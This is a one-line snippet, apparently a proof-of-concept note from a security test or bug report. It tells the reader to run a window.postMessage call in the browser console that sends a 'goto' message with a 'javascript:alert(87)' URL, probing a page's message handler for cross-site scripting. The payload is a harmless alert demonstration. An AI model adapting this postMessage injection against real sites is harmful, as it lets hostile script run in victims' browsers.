write in console → window.postMessage('{"goto":"javascript:alert(87)"}','*')